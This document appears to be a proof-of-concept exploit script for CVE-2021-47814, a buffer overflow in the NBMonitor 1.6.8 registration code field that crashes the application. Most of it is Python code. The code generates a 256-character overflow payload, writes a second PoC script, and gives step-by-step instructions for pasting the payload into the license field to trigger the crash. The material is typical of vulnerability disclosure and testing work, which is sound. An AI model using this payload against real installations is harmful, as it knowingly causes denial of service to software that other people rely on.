CVE-2021-47814: NBMonitor 注册码字段缓冲区溢出导致拒绝服务

# CVE-2021-47814 PoC - NBMonitor Buffer Overflow DoS # Description: NBMonitor 1.6.8 registration code field buffer overflow # CVSS: 7.5 (High) import struct def generate_overflow_payload(length=256): """Generate buffer overflow payload for registration code field""" # 256 characters buffer to overflow the registration key input # This triggers application crash due to stack overflow overflow_string = 'A' * length return overflow_string def create_poc_file(): """Create PoC demonstration file""" payload = generate_overflow_payload(256) poc_script = ''' #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2021-47814 PoC - NBMonitor 1.6.8 DoS This PoC demonstrates buffer overflow in registration code validation """ def exploit(): # Generate 256-byte payload to overflow registration field payload = "A" * 256 # For manual testing: # 1. Launch NBMonitor 1.6.8 # 2. Navigate to registration/license activation screen # 3. Paste the 256-character payload into registration key field # 4. Submit the form to trigger crash print("[*] CVE-2021-47814 PoC") print(f"[*] Payload length: {len(payload)}") print(f"[*] Payload preview: {payload[:32]}...") print("[+] Payload generated for testing") return payload if __name__ == "__main__": exploit() ''' with open('CVE-2021-47814_poc.py', 'w', encoding='utf-8') as f: f.write(poc_script) print(f"[+] PoC file created: CVE-2021-47814_poc.py") print(f"[+] Payload: {payload}") if __name__ == "__main__": create_poc_file()